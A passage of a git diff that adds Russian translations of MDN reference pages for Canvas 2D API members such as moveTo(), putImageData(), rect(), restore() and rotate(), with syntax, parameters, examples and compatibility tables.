+<p>For more info about miters, see <a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Applying_styles_and_colors">Applying styles and color</a> in the <a href="/en-US/docs/Web/API/Canvas_API/Tutorial">Canvas tutorial</a>.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>ctx</em>.miterLimit = <em>число</em>;</pre>
+
+<h3 id="Options">Options</h3>
+
+<dl>
+ <dt><code>число</code></dt>
+ <dd>Положительное число, определяющее максимальную длину среза. Если текущая длина среза будет превышать заданное значение, то угол будет отображаться как при значении <code>bevel</code> свойства <code>lineJoin</code>.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Using_the_miterLimit_property">Using the <code>miterLimit</code> property</h3>
+
+<p>See the chapter <a href="https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API/Tutorial/Applying_styles_and_colors#A_demo_of_the_miterLimit_property">Applying styles and color</a> in the <a href="/en-US/docs/Web/API/Canvas_API/Tutorial">Canvas tutorial</a> for more information.</p>
+
+<div class="hidden">
+<h6 id="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code"&gt;
+ctx.beginPath();
+ctx.moveTo(0,0);
+ctx.lineWidth = 15;
+ctx.lineTo(100, 100);
+ctx.stroke();&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+</pre>
+</div>
+
+<p>{{EmbedLiveSample("A_demo_of_the_miterLimit_property", "400", "180", "https://mdn.mozillademos.org/files/240/Canvas_miterlimit.png", "Web/API/Canvas_API/Tutorial/Applying_styles_and_colors")}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-miterlimit", "CanvasRenderingContext2D.miterLimit")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.CanvasRenderingContext2D.miterLimit")}}</p>
+
+<h3 id="WebKitBlink-specific_notes">WebKit/Blink-specific notes</h3>
+
+<ul>
+ <li>In WebKit- and Blink-based Browsers, a non-standard and deprecated method <code>ctx.setMiterLimit()</code> is implemented in addition to this property.</li>
+</ul>
+
+<h3 id="Gecko-specific_notes">Gecko-specific notes</h3>
+
+<ul>
+ <li>Starting Gecko 2.0 {{geckoRelease("2.0")}}, setting <code>miterLimit</code> to a negative value no longer throws an exception; instead, it properly ignores non-positive values.</li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Интерфейс, определяющий это свойство: {{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.lineCap")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.lineJoin")}}</li>
+</ul>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/moveto/index.html b/files/ru/web/api/canvasrenderingcontext2d/moveto/index.html
new file mode 100644
index 0000000000..e0ea2d18b0
--- /dev/null
+++ b/files/ru/web/api/canvasrenderingcontext2d/moveto/index.html
@@ -0,0 +1,172 @@
+---
+title: CanvasRenderingContext2D.moveTo()
+slug: Web/API/CanvasRenderingContext2D/moveTo
+tags:
+  - API
+  - Canvas
+  - CanvasRenderingContext2D
+  - Method
+  - Reference
+translation_of: Web/API/CanvasRenderingContext2D/moveTo
+---
+<div>{{APIRef}}</div>
+
+<p>Метод <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.moveTo()</code></strong>, предоставляемый Canvas 2D API, перемещает начальную точку нового фрагмента контура в координаты <code>(x, y)</code>.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">void <var><em>ctx</em>.moveTo(x, y);</var>
+</pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Координата точки по оси x.</dd>
+ <dt><code>y</code></dt>
+ <dd>Координата точки по оси y.</dd>
+</dl>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Использование_метода_moveTo">Использование метода <code>moveTo</code></h3>
+
+<p>Ниже представлен простой фрагмент кода, использующий метод <code>moveTo</code> для того, чтобы переместить указатель в начальную позицию для рисования линии.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js; highlight:[5]">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+ctx.beginPath();
+ctx.moveTo(50,50);
+ctx.lineTo(200, 50);
+ctx.stroke();
+</pre>
+
+<p>Вы можете редактировать код, представленный ниже, и сделанные вами изменения отобразятся на холсте в режиме реального времени:</p>
+
+<div style="display: none;">
+<h6 id="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code"&gt;
+ctx.beginPath();
+ctx.moveTo(50,50);
+ctx.lineTo(200, 50);
+ctx.stroke()&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 360) }}</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-moveto", "CanvasRenderingContext2D.moveTo")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>Интерфейс, предоставляющий данный метод: {{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.lineTo()")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.stroke()")}}</li>
+</ul>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/putimagedata/index.html b/files/ru/web/api/canvasrenderingcontext2d/putimagedata/index.html
new file mode 100644
index 0000000000..a37cdc3479
--- /dev/null
+++ b/files/ru/web/api/canvasrenderingcontext2d/putimagedata/index.html
@@ -0,0 +1,177 @@
+---
+title: CanvasRenderingContext2D.putImageData()
+slug: Web/API/CanvasRenderingContext2D/putImageData
+tags:
+  - API
+  - Canvas
+  - CanvasRenderingContext2D
+  - Method
+  - Reference
+translation_of: Web/API/CanvasRenderingContext2D/putImageData
+---
+<div>{{APIRef}}</div>
+
+<div></div>
+
+<p><code><strong>CanvasRenderingContext2D</strong></code><strong><code>.putImageData()</code></strong> метод Canvas 2D API рисует данные из заданного {{domxref("ImageData")}} объекта на холст. На этот метод не влияет матрица преобразования холста.</p>
+
+<div class="note">
+<p><strong>Примечание:</strong> Данные изображения могут быть получены с холста с помощью метода {{domxref("CanvasRenderingContext2D.getImageData()", "getImageData()")}}.</p>
+</div>
+
+<p>Вы можете найти больше информации о <code>putImageData()</code> и общих манипуляциях с содержимым холста в статье <a href="/ru/docs/Web/API/Canvas_API/Tutorial/Pixel_manipulation_with_canvas">Пиксельные манипуляции с холстом</a>.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">void <em>ctx</em>.putImageData(<em>imageData</em>, <em>dx</em>, <em>dy</em>);
+void <em>ctx</em>.putImageData(<em>imageData</em>, <em>dx</em>, <em>dy</em>, <em>dirtyX</em>, <em>dirtyY</em>, <em>dirtyWidth</em>, <em>dirtyHeight</em>);
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>imageData</code></dt>
+ <dd>Объект {{domxref("ImageData")}}, содержащий массив значений пикселей..</dd>
+ <dt><code>dx</code></dt>
+ <dd>Горизонтальная позиция (координата x), в которой необходимо разместить данные изображения на целевом холсте.</dd>
+ <dt><code>dy</code></dt>
+ <dd>Вертикальная позиция (координата y), в которой необходимо разместить данные изображения на целевом холсте.</dd>
+ <dt><code>dirtyX</code>{{optional_inline}}</dt>
+ <dd>Горизонтальная позиция (координата x) верхнего левого угла, из которого будут извлечены данные изображения. По умолчанию 0.</dd>
+ <dt><code>dirtyY</code> {{optional_inline}}</dt>
+ <dd>Вертикальная позиция (координата y) верхнего левого угла, из которого будут извлечены данные изображения. По умолчанию 0.</dd>
+ <dt><code>dirtyWidth</code> {{optional_inline}}</dt>
+ <dd>Ширина прямоугольника для рисования. По умолчанию ширина данных изображения.</dd>
+ <dt><code>dirtyHeight</code> {{optional_inline}}</dt>
+ <dd>Высота прямоугольника для рисования. По умолчанию высота данных изображения.</dd>
+</dl>
+
+<h3 id="Ошибки">Ошибки</h3>
+
+<dl>
+ <dt><code>NotSupportedError</code></dt>
+ <dd>Выбрасывается, если любой из аргументов бесконечен.</dd>
+ <dt><code>InvalidStateError</code></dt>
+ <dd>Выбрасывается, если данные объекта ImageData были отделены.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Понимание_putImageData">Понимание putImageData</h3>
+
+<p>Чтобы понять, что этот алгоритм делает под капотом, вот реализация сверху {{domxref("CanvasRenderingContext2D.fillRect()")}}.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js">let canvas = document.getElementById('canvas');
+let ctx = canvas.getContext('2d');
+
+function putImageData(ctx, imageData, dx, dy,
+    dirtyX, dirtyY, dirtyWidth, dirtyHeight) {
+  let data = imageData.data;
+  let height = imageData.height;
+  let width = imageData.width;
+  dirtyX = dirtyX || 0;
+  dirtyY = dirtyY || 0;
+  dirtyWidth = dirtyWidth !== undefined? dirtyWidth: width;
+  dirtyHeight = dirtyHeight !== undefined? dirtyHeight: height;
+  let limitBottom = dirtyY + dirtyHeight;
+  let limitRight = dirtyX + dirtyWidth;
+  for (let y = dirtyY; y &lt; limitBottom; y++) {
+    for (let x = dirtyX; x &lt; limitRight; x++) {
+      var pos = y * width + x;
+      ctx.fillStyle = 'rgba(' + data[pos*4+0]
+                        + ',' + data[pos*4+1]
+                        + ',' + data[pos*4+2]
+                        + ',' + (data[pos*4+3]/255) + ')';
+      ctx.fillRect(x + dx, y + dy, 1, 1);
+    }
+  }
+}
+
+// Нарисуйте контент на холсте
+ctx.fillRect(0, 0, 100, 100);
+// Создайте объект ImageData из него
+let imagedata = ctx.getImageData(0, 0, 100, 100);
+// используйте функцию putImageData, которая иллюстрирует, как работает putImageData
+putImageData(ctx, imagedata, 150, 0, 50, 50, 25, 25);
+</pre>
+
+<h4 id="Результат">Результат</h4>
+
+<p>{{ EmbedLiveSample('Понимание_putImageData', '', '', '', 'Web/API/CanvasRenderingContext2D/putImageData',800) }}</p>
+
+<h3 id="Потеря_данных_из-за_оптимизации_браузера">Потеря данных из-за оптимизации браузера</h3>
+
+<div class="blockIndicator warning">
+<p> Из-за характера потерь при преобразовании в и из предварительно умноженных значений альфа-цвета пиксели, которые были только что установлены с помощью <code>putImageData()</code>, могут быть возвращены в эквивалентный <code>getImageData()</code> в качестве различных значений.</p>
+</div>
+
+<h4 id="JavaScript_2">JavaScript</h4>
+
+<pre class="brush: js">const canvas = document.createElement("canvas");
+canvas.width = 1;
+canvas.height = 1;
+const context = canvas.getContext("2d");
+const imgData = context.getImageData(0, 0, canvas.width, canvas.height);
+const pixels = imgData.data;
+
+pixels[0 + 0] = 1;
+pixels[0 + 1] = 127;
+pixels[0 + 2] = 255;
+pixels[0 + 3] = 1;
+
+console.log("before:", pixels);
+context.putImageData(imgData, 0, 0);
+const imgData2 = context.getImageData(0, 0, canvas.width, canvas.height);
+const pixels2 = imgData2.data;
+console.log("after:", pixels2);</pre>
+
+<p>Вывод может выглядеть так:</p>
+
+<pre>before: Uint8ClampedArray(4) [ 1, 127, 255, 1 ]
+after: Uint8ClampedArray(4) [ 255, 255, 255, 1 ]</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-putimagedata", "CanvasRenderingContext2D.putImageData")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузера">Совместимость с браузера</h2>
+
+
+
+<p>{{Compat("api.CanvasRenderingContext2D.putImageData")}}</p>
+
+<h3 id="Специфичные_для_Gecko_заметки">Специфичные для Gecko заметки</h3>
+
+<ul>
+ <li>Начиная с Gecko 10.0 {{ geckoRelease("10.0") }}, нескончаемые(например, NaN или Infinity) значения любого из этих параметров приводят к тому, что вызов <code>putImageData()</code> будет игнорироваться, а не вызывать исключение.</li>
+ <li>To comply with the specification, starting with Gecko 16.0 {{geckoRelease("16.0")}}, a call with an invalid number of arguments (only 3 or 7 arguments are valid), will now throw an error ({{bug(762657)}}).</li>
+</ul>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Интерфейс, определяющий это свойство: {{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("ImageData")}} объект</li>
+ <li>{{domxref("CanvasRenderingContext2D.getImageData()")}}</li>
+ <li><a href="/ru/docs/Web/API/Canvas_API/Tutorial/Pixel_manipulation_with_canvas">Пиксельные манипуляции с холстом</a></li>
+</ul>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/rect/index.html b/files/ru/web/api/canvasrenderingcontext2d/rect/index.html
new file mode 100644
index 0000000000..d5b1d4415f
--- /dev/null
+++ b/files/ru/web/api/canvasrenderingcontext2d/rect/index.html
@@ -0,0 +1,173 @@
+---
+title: CanvasRenderingContext2D.rect()
+slug: Web/API/CanvasRenderingContext2D/rect
+tags:
+  - API
+  - Canvas
+  - CanvasRenderingContext2D
+  - Method
+  - Reference
+translation_of: Web/API/CanvasRenderingContext2D/rect
+---
+<div>{{APIRef}}</div>
+
+<p>Метод <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.rect()</code></strong>, предоставляемый Canvas 2D API, создает контур прямоугольника в позиции <em>(x, y)</em>, размеры которого устанавливаются аргументами <em>width</em> и <em>height</em>. Четыре точки прямоугольника соединяются прямыми линиями, и получившийся фрагмент контура отмечается как замкнутый, так что вы можете выполнить его заливку или обрисовать контур.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">void <var><em>ctx</em>.rect(x, y, width, height);</var>
+</pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Координата начальной точки прямоугольника по оси x.</dd>
+ <dt><code>y</code></dt>
+ <dd>Координата начальной точки прямоугольника по оси y.</dd>
+ <dt><code>width</code></dt>
+ <dd>Ширина прямоугольника.</dd>
+ <dt><code>height</code></dt>
+ <dd>Высота прямоугольника.</dd>
+</dl>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Использование_метода_rect">Использование метода <code>rect</code></h3>
+
+<p>Ниже представлен простой фрагмент кода, использующий метод <code>rect</code> для создания контура. Для того чтобы нарисовать контур на холсте вы можете воспользоваться методами {{domxref("CanvasRenderingContext2D.fill", "fill()")}} или {{domxref("CanvasRenderingContext2D.stroke", "stroke()")}}. Обратите внимание так же на методы {{domxref("CanvasRenderingContext2D.fillRect", "fillRect()")}} и {{domxref("CanvasRenderingContext2D.strokeRect", "strokeRect()")}} которые могут сделать тоже самое за один раз .</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js; highlight:[3]">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+ctx.rect(10, 10, 100, 100);
+ctx.fill();
+</pre>
+
+<p>Вы можете редактировать код, представленный ниже, и сделанные вами изменения отобразятся на холсте в режиме реального времени:</p>
+
+<div style="display: none;">
+<h6 id="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code"&gt;
+ctx.rect(10, 10, 100, 100);
+ctx.fill();&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 360) }}</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-rect", "CanvasRenderingContext2D.rect")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>Интерфейс, предоставляющий данный метод: {{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.fillRect")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.strokeRect()")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.fill()")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.stroke()")}}</li>
+</ul>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/restore/index.html b/files/ru/web/api/canvasrenderingcontext2d/restore/index.html
new file mode 100644
index 0000000000..33feac8b7e
--- /dev/null
+++ b/files/ru/web/api/canvasrenderingcontext2d/restore/index.html
@@ -0,0 +1,76 @@
+---
+title: CanvasRenderingContext2D.restore()
+slug: Web/API/CanvasRenderingContext2D/restore
+translation_of: Web/API/CanvasRenderingContext2D/restore
+---
+<div>{{APIRef}}</div>
+
+<p>Метод <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.restore()</code></strong> восстанавливает предварительно сохраненное состояние канваса из стека. Если состояние ранее не сохранялось, то метод ничего не делает.</p>
+
+<p>Fore more information about the <a href="/en-US/docs/Web/API/CanvasRenderingContext2D.save#Drawing_state">drawing state</a>, see {{domxref("CanvasRenderingContext2D.save()")}}.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">void <em>ctx</em>.restore();</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<h3 id="Restoring_a_saved_state">Restoring a saved state</h3>
+
+<p>This example uses the <code>save()</code> method to save the default state and <code>restore()</code> to restore it later, so that you are able to draw a rect with the default state later.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js; highlight:[11]">const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+// Save the default state
+ctx.save();
+
+ctx.fillStyle = 'green';
+ctx.fillRect(10, 10, 100, 100);
+
+// Restore the default state
+ctx.restore();
+
+ctx.fillRect(150, 40, 100, 100);
+</pre>
+
+<h4 id="Результат">Результат</h4>
+
+<p>{{ EmbedLiveSample('Restoring_a_saved_state', 700, 180) }}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-restore", "CanvasRenderingContext2D.restore")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("api.CanvasRenderingContext2D.restore")}}</p>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>The interface defining this method: {{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.save()")}}</li>
+</ul>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/rotate/index.html b/files/ru/web/api/canvasrenderingcontext2d/rotate/index.html
new file mode 100644
index 0000000000..ea206a5d1f
--- /dev/null
+++ b/files/ru/web/api/canvasrenderingcontext2d/rotate/index.html
@@ -0,0 +1,120 @@
+---
+title: CanvasRenderingContext2D.rotate()
+slug: Web/API/CanvasRenderingContext2D/rotate
+translation_of: Web/API/CanvasRenderingContext2D/rotate
+---
+<div>{{APIRef}}</div>
+
+<div>Метод <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.rotate()</code></strong> из Canvas 2D API добавляет поворот в матрицу преобразования. Параметр angle - это угол поворота по часовой стрелке, в радианах.</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">void <var><em>ctx</em>.rotate(angle);</var>
+</pre>
+
+<p><img alt="" class="internal" src="https://mdn.mozillademos.org/files/233/Canvas_grid_rotate.png" style="float: right;"></p>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>angle</code></dt>
+ <dd>Угол поворота по часовой стрелке, в радианах. Вы также можете использовать <code><em>degree</em> * Math.PI / 180</code> если вы хотите использовать для угла значение градуса (degree).</dd>
+</dl>
+
+<p>Центром вращения всегда является начало холста. Для изменения центра вращения, нам необходимо передвинуть холст, используя метод {{domxref("CanvasRenderingContext2D.translate", "translate()")}}.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Использование_метода_rotate">Использование метода <code>rotate</code></h3>
+
+<p>Ниже приведен простой пример кода, который использует метод <code>rotate</code>.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js; highlight:[4]">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+
+ctx.rotate(45 * Math.PI / 180);
+ctx.fillRect(70, 0, 100, 30);
+
+// reset current transformation matrix to the identity matrix
+ctx.setTransform(1, 0, 0, 1, 0, 0);
+</pre>
+
+<p>Отредактируйте приведенный ниже код и посмотрите, как обновляются ваши изменения на холсте:</p>
+
+<div style="display: none;">
+<h6 id="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code"&gt;
+ctx.rotate(45 * Math.PI / 180);
+ctx.fillRect(70,0,100,30);
+ctx.setTransform(1, 0, 0, 1, 0, 0);&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 360) }}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-rotate", "CanvasRenderingContext2D.rotate")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("api.CanvasRenderingContext2D.rotate")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
